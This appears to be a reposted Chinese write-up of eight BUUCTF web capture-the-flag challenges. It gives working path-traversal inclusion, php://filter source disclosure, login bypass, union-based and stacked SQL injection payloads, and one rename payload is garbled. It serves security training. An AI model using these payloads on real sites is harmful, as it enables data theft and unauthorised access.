buuctf Web 上

news2024/11/17 17:25:12

buuctf Web

1.[HCTF 2018]WarmUp[HCTF 2018]WarmUp

访问url

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/

如下

在这里插入图片描述

打开靶场后,查看源码即可看到

在这里插入图片描述

构造url访问获得index.php的源码

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=source.php

如下

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page) 
        //传入了变量page,也就是我们刚刚传进来的file
        {
        	// 这里定义了白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
            /*为了返回 true 两个条件必须满足
            	1 page存在 
            	2 page是字符串 ,
            	这里和外层的判断file 一致基本是再次判断了一遍*/
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
			/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,
			白名单过滤,需要返回了ture
			所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
			这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/
            $_page = mb_substr( 
                $page,
                0,
                mb_strpos($page . '?',  '?')
            );
			/*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/            
            if (in_array($_page, $whitelist)) { 
                return true;
            }
            //这里和上面类似 查看_page 是否在白名单中
            $_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
            $_page = mb_substr(//获取两个??之间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 这里是我们要绕过的点,从这里往上看 尝试构造
            if (in_array($_page, $whitelist)) {//白名单
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
	/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 
		1 REQUEST['file']不为空 
		2 REQUEST['file']是字符串 
		3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/    
?>

可以看到函数代码中有四个if语句
第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page'?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f',构造url:
file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg

从代码中发现新的页面hint访问

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=hint.php

获得flag文件名

在这里插入图片描述

构造payload,ffffllllaaaagggg提示每个字符都重复了4下,提示我们往上级目录翻四层

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg

http://e00c89a6-d7d6-4a78-a346-614edfb95738.node3.buuoj.cn/index.php?file=source.php?/…/…/…/…/ffffllllaaaagggg

得到flag{9cae45aa-4163-4c5a-b223-75baa14f4cc4}

在这里插入图片描述

2.[极客大挑战 2019]EasySQL

访问url

http://126a7b32-9f28-4b4c-ac00-73741dcc8ade.node3.buuoj.cn/

如下

在这里插入图片描述

第一种方法,看到登录框想到SQL注入,构造payload

?username=1’&password=2’

密码框存在注入

在这里插入图片描述

构造payload

?username=1&password=2’%23

正常回显

在这里插入图片描述

构造payload

?username=1&password=2’ order by 3%23

判断字段数为3

在这里插入图片描述

构造payload

?username=1&password=2’ and 1=2 union select 1,2,3%23

判断回显点,得到flag{82270ed5-107f-454b-b1ea-a452245b07a6}

在这里插入图片描述

第二种方法,因为登录成功就可以拿到flag,由上一道解法知道是字符型注入

构造payload

?username=admin’ or ‘1’=‘1&password=admin’ or ‘1’='1

得到flag{82270ed5-107f-454b-b1ea-a452245b07a6}

在这里插入图片描述

3.[强网杯 2019]随便注

访问url

http://9de6c06a-5267-431c-b404-99bf365ea17d.node3.buuoj.cn/

页面如下

在这里插入图片描述

重命名+堆叠注入

0x01:判断是否存在注入,注入是字符型还是数字型

输入1’发现不回显

输入1’ #显示正常

应该是存在sql注入了

输入1’ or ‘1’='1,正常回显,应该是字符型

在这里插入图片描述

0x02:猜解SQL查询语句中的字段数

输入1’ order by 3 # 回显出错,说明有两个字段

在这里插入图片描述

0x03:显示字段

输入1′ union select 1,2 # 回显一个正则过滤规则

在这里插入图片描述

过滤了 select,update,delete,drop,insert,where 和 点

过滤了这么多词,是不是有堆叠注入?尝试堆叠注入

0x04:查询数据库

输入1’;show databases;# 成功回显

在这里插入图片描述

说明存在堆叠注入

0x05:查询表

输入1’;show tables;# 成功回显

在这里插入图片描述

得到两个表words和1919810931114514

0x06:查询表中字段

输入0’;desc words;#

在这里插入图片描述

可以看到1919810931114514中有我们想要的flag字段

查询语句很有可能是 : selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id

0’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) 1’ or 1=1#CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

如下

在这里插入图片描述

输入1’ or 1=1#,查询就得到flag{0a7b0405-0946-4894-837c-0ea64a5a1a1e}

在这里插入图片描述

4.[极客大挑战 2019]Havefun

访问url

http://2b9bca63-f8a6-49a3-8e46-291d9581747c.node3.buuoj.cn/

首页如下

在这里插入图片描述

右键查看网页源代码

在这里插入图片描述

这是一段PHP代码,我们以GET方式传入cat,直接输出cat的值,如果cat的值为dog则将直接输出Syc{cat_cat_cat_cat},构造payload

http://2b9bca63-f8a6-49a3-8e46-291d9581747c.node3.buuoj.cn/?cat=dog

得到flag{8d0db0b2-663a-4d65-bb2a-ea16376802da}

在这里插入图片描述

5.[SUCTF 2019]EasySQL

访问url

http://79340959-f795-4406-bd12-ec50c42ff14c.node3.buuoj.cn/

首页如下

在这里插入图片描述

堆叠注入

1;show databases;

在这里插入图片描述

1;show tables;

在这里插入图片描述

查列名发现from进入了黑名单,经查,背后逻辑是

select $_POST[query] || flag from flag

如何判断结构是这样?因为在输入任意字符后输出结果都为Array ( [0] => 1 ),那这个1肯定是或运算产生的布尔值,所有此处一定有或运算。

解法1

1;set sql_mode=PIPES_AS_CONCAT;select 1,构造成select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM Flag,其中PIPES_AS_CONCAT能将||视为字符串连接符而非或运算符,实际运行为select 1;set sql_mode=PIPES_AS_CONCAT;select “1”+flag from Flag

在这里插入图片描述

得到flag{d1158419-a015-4de7-9908-ff25678cca3a}

解法2

*,1,构造成select *,1 || flag from flag

在这里插入图片描述

6.[ACTF2020 新生赛]Include

访问url

http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/

首页如下:

在这里插入图片描述

点击tips,跳转到url:

http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/?file=flag.php

页面如下:

在这里插入图片描述

根据?file=flag.php 猜测是文件包含漏洞

php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://input 伪协议 + POST发送PHP代码 (不行)

构造payload进行访问:

?file=php://filter/read=convert.base64-encode/resource=flag.php

页面回显如下:

在这里插入图片描述

对回显的数据进行base64解码:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmRkZmZlYTMtNTVlYS00OTJjLTg4NWYtMWZlY2Y2ODRkZTIyfQo=

结果如下:

<?php
echo "Can you find out the flag?";
//flag{bddffea3-55ea-492c-885f-1fecf684de22}

7.[极客大挑战 2019]Secret File

访问url:

http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/

首页如下:

在这里插入图片描述

前端中背景可以覆盖内容,页面源代码可以查看完整的html

在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。

文件包含漏洞,PHP伪协议获取文件

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

环境概要:

PHP.ini:

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

我们可以看到一页背景为黑色,字体为红色的页面,这里已经给出了一个提示:想要的话可以给你,去找吧!把一切都放在那里了!我们可以猜测这个页面是隐藏了一些信息的。

通过查看页面源代码,我们可以发现隐藏的./Archive_room.php

在这里插入图片描述

访问Archive_room.php,发现又给出了提示:我把他们都放在这里了,去看看吧。还有一个类似button一样的东西,查看审查元素可知是action.php

在这里插入图片描述

我们点进去,访问action.php立即跳转到了end.php,并且页面显示的是:查阅结束 没看清么?回去再仔细看看吧。

在这里插入图片描述

可以猜测action.php访问时间很短,时间一到立即跳转到end.php。为了拦截action.php,我们可以使用BrupSuite来抓包。

请求包如下:

GET /action.php HTTP/1.1
Host: 008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/Archive_room.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=37b794a6-22e3-4bc9-882a-7c4e8fce86a2.ZP-4gQWh8p_KrNccRxl0BEY0YgY
Connection: close

响应包如下:

在这里插入图片描述

访问secr3t.php,页面显示了php代码:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

发现这里有一个文件包含漏洞,但是在这里好像没什么用,因为我们还不确定存在flag的文件。根据代码的注释内容,访问flag.php。又出现提示:啊哈!你找到我了!可是你看不到我QAQ~~~ 我就在这里。

在这里插入图片描述

刚开始我们以为还是像之前一样用背景把flag给覆盖掉了,但是通过查看页面源代码发现并没有将flag写出来。根据提示我们可以肯定flag确实是在这里,但是前端却看不到,我们猜测flag是写在了php代码里面。那么怎样来获取完整的flag.php文件呢?我们立马想到了secr3t.php的文件包含漏洞

传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

获取到了flag.php的base64加密,复制加密内容到解密网站去即可得到flag

在这里插入图片描述

对回显的数据进行base64解码:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZTc4MjM3YWUtMGNiYS00NTlkLTg3N2QtNjBmYmQ4NzNkNWEwfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

结果如下:

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{e78237ae-0cba-459d-877d-60fbd873d5a0}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

8.[极客大挑战 2019]LoveSQL

访问url:

http://e46c62ea-857f-4497-8656-5dd8bc8fa62a.node3.buuoj.cn/

首页如下:

在这里插入图片描述

发现登录框,可能是万能密码登录,我们试一下:

在登录框中输入:

用户名:1’ or 1=1#

密码:123(随便输)

点击登录:

在这里插入图片描述

跳转到了check.php页面。并得到了用户名和密码:

尝试密码md5解密失败,还是回到注入的思路上,查询字段数:

在url中输入:

/check.php?username=admin’ order by 3%23&password=1 存在

/check.php?username=admin’ order by 4%23&password=1 报错

注意:此时是在url中输入的,所以不能用#,而用其url编码%23。

在这里插入图片描述

可知共3个字段。用union查询测试注入点(回显点位):

/check.php?username=1’ union select 1,2,3%23&password=1

得到回显点位为2和3

在这里插入图片描述

查询当前数据库名及版本:

/check.php?username=1’ union select 1,database(),version()%23&password=1

可知当前数据库为geek

在这里插入图片描述

接下来爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到表名为geekuser,l0ve1ysq1

在这里插入图片描述

试一下l0ve1ysq1这个表,爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

得到字段名为id,username,password

在这里插入图片描述

爆数据:

/check.php?username=1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag{0496f85f-c789-491f-93b8-7c76bdbe8a4a}

在这里插入图片描述
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/353469.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Typescript的原始据类型和Any类型

最新的ECMAScript标准定义了8中数据类型: 7种原始类型&#xff1a; BooleanNullUndefinedNumberBigintStringSymbol和 Object 除 Object 以外的所有类型都是不可变的 (值本身无法被改变》。例如&#xff0c;与C语言不同JavaScript 中字符串是不可变的 (译注: 如&#xff0c;Ja…

Unreal Engine05:UE4基本概念

写在前面 主要是介绍一下UE4中的一些常用概念。 参考的博客如下&#xff1a; UE4常用逻辑关系和说明&#xff1b;UE4入门学习4&#xff1a;C编程介绍&#xff1b;UE4中基础的类及其之间的关系&#xff1b;[官方] 虚幻引擎 4 术语&#xff1b;《图解UE4渲染体系》Part 0 引擎基…

记录robosense RS-LIDAR-16使用过程5

本篇记录RS-LIDAR-16录制bag包&#xff0c;并解析bag包为pcd。官网操作基本过了一遍&#xff0c;接下来记录标定。相机、雷达设备在出厂前通常都完成了内参标定工作&#xff0c;若要联合使用多雷达或雷达-相机时&#xff0c;就需要进行外参标定。接下来学习并记录标定。首先找到…

扬帆优配|杠杆资金重仓股曝光,3只科创板股获多路资金青睐

到2月16日&#xff0c;科创板融资余额环比前一日削减1104.16万元&#xff0c;其间&#xff0c;23股融资余额环比添加超千万元&#xff0c;融资净买入居前的有晶科动力、诺诚健华、爱博医疗等。 到2月16日&#xff0c;市场融资余额算计1.48万亿元&#xff0c;较前一交易日削减27…

frp实现内网穿透

文章目录一&#xff1a; frp是什么二&#xff1a; 程序文件结构三、使用步骤四&#xff1a;总结一&#xff1a; frp是什么 frp 是一个专注于内网穿透的高性能的反向代理应用&#xff0c;支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网…

如何使用ArcGIS进行地理配准

1.概述 对于GIS数据而言&#xff0c;坐标信息是灵魂&#xff0c;有了坐标信息之后才能和别的数据结合使用&#xff0c;之前有介绍过矢量数据定义坐标信息的方法&#xff0c;针对栅格图&#xff0c;这里为大家介绍一下通过地理配准增加坐标信息的方法&#xff0c;希望能对你有所…

深圳“托育”放大招!政府出钱帮你带娃啦!

工作忙得不可开交 难以照料孩子的起居 这个带娃难题常常让双职工家庭 感觉到头疼不已 一边是工作&#xff0c;一边是孩子 父母都上班&#xff0c;宝宝谁来带&#xff1f; 未来这个问题将迎刃而解&#xff01; 因为政府要出钱帮你带娃啦&#xff01; 近日&#xff0c;深圳市总工…

Computer Graphics From Scratch - Chapter 8

系列文章目录 简介&#xff1a;Computer Graphics From Scratch-《从零开始的计算机图形学》简介 第一章: Computer Graphics From Scratch - Chapter 1 介绍性概念 第二章&#xff1a;Computer Graphics From Scratch - Chapter 2 基本光线追踪 第三章&#xff1a;Computer Gr…

ts基础入门学习之上篇

1.安装typescript编译器 npm i -g typescript 安装之后使用tsc运行ts文件&#xff0c;然后会编译出对应的js文件&#xff0c;再通过node运行js文件&#xff0c;就能获得打印内容。 ts定义内容 function fn(people, date) {console.log(hello${people},today is ${date}); } fn…

C++模板(一)

文章目录C模板&#xff08;一&#xff09;1. 泛型编程2. 函数模板2.1 函数模板格式2.2 模板原理2.3 模板实例化2.4 模板参数匹配原则3. 类模板3.1 类模板格式3.2 背景3.3 类模板的实例化C模板&#xff08;一&#xff09; 1. 泛型编程 前面我们学到了函数重载这个特性&#xf…

Zabbix“专家坐诊”第181期问答汇总

题一 Q&#xff1a;大佬们&#xff0c;有没有基础的 监控模板 触发器分享下&#xff1f; A&#xff1a;你可以试一下乐维免费版&#xff08;https://forum.lwops.cn/download &#xff09;&#xff0c;里面基本的模板全齐。 问题二 Q &#xff1a;orabbix监控查询SQL执行时…

如何保证数据库和缓存双写一致性?

前言 数据库和缓存&#xff08;比如&#xff1a;redis&#xff09;双写数据一致性问题&#xff0c;是一个跟开发语言无关的公共问题。尤其在高并发的场景下&#xff0c;这个问题变得更加严重。 我很负责的告诉大家&#xff0c;该问题无论在面试&#xff0c;还是工作中遇到的概率…

CAD中怎么旋转光标?CAD旋转光标的方法步骤

CAD中怎么旋转光标&#xff1f;浩辰CAD软件作为一款拥有自主核心技术的CAD平台软件产品&#xff0c;提供了CAD旋转光标命令&#xff0c;本节课程就和小编一起来了解一下浩辰CAD软件中CAD旋转光标的方法步骤吧&#xff01; CAD旋转光标命令启动方式&#xff1a; 1、命令行&…

Redis第三讲

目录 三、Redis03 3.1 Redis持久化之RDB 3.1.1 什么是RDB 3.1.2 备份是如何执行的 3.1.3 Fork 3.1.4 RDB持久化流程 3.1.5 dump.rdb文件 3.1.6 配置rdb文件生成位置 3.1.7 如何触发RDB快照以及保持策略 3.2 Redis持久化之AOF 3.2.1 什么是AOF 3.2.2 AOF持久化流程 …

Java反序列化漏洞——CommonsCollections3链分析

一、原理CC1链中我们是通过调用Runtime.getRuntime.exec()来执行系统命令&#xff0c;而另一个方向我们可以通过TemplatesImpl加载字节码的类&#xff0c;通过调⽤其newTransformer() 方法&#xff0c;即可执⾏这段字节码的类构造器&#xff0c;我们在类构造器中加入恶意代码&a…

【Seata】_01 分布式事务基础知识和常见的解决方案

本地事务 单一的数据库事务&#xff0c;ACID由数据库直接提供 分布式事务 一个服务调用操作两个数据库&#xff1b; 多个服务操作同一个数据库&#xff1b; 多个服务操作多个数据库&#xff1b; 分布式事务无法由数据库保证 Seata 分布式事务解决方案 Seata提供AT/TCC/SAG…

HDMI Audio InfoFrame

Audio InfoFrame 是HDMI Source向Sink传递当前音频流特性的一种InfoFrame。要求是至少每两帧图像就要传输一次Audio InfoFrame。Audio InfoFrame的传输可以是Data Island周期的任何时刻。 HDMI在音频的传输上&#xff0c;packet包的标准是按照IEC60958或者IEC61938来的。 Aud…

使用契约测试得不偿失?试试契约先行开发

契约维护的难题 如今微服务凭借其灵活、易开发、易扩展等优势深入人心&#xff0c;不同服务之间的集成和交互日渐繁多且复杂。这些服务之间交互的方式是多样的&#xff0c;常见的有 HTTP 请求和消息队列。在它们交互的过程中&#xff0c;会有服务的版本演进&#xff0c;交互信…

算法的时间复杂度与空间复杂度

…………………………………………………………………………………………………………………… ………………………………………………………………………加油…………………………………………………………………………. 如何衡量一个算法的好与坏呢&#xff1f;这是本篇的重点…

财报解读:硬件支撑思科增长,云平台何时能突围?

北京时间2023年2月16日&#xff0c;美国网络设备老牌巨头思科公布了其2023财年第二季度财报&#xff0c;业绩超预期。 据思科财报显示&#xff0c;其2023财年Q2实现营收136亿美元&#xff0c;分析师预期为134.3亿美元&#xff1b;同时给出大超预期的业绩指引&#xff0c;思科预…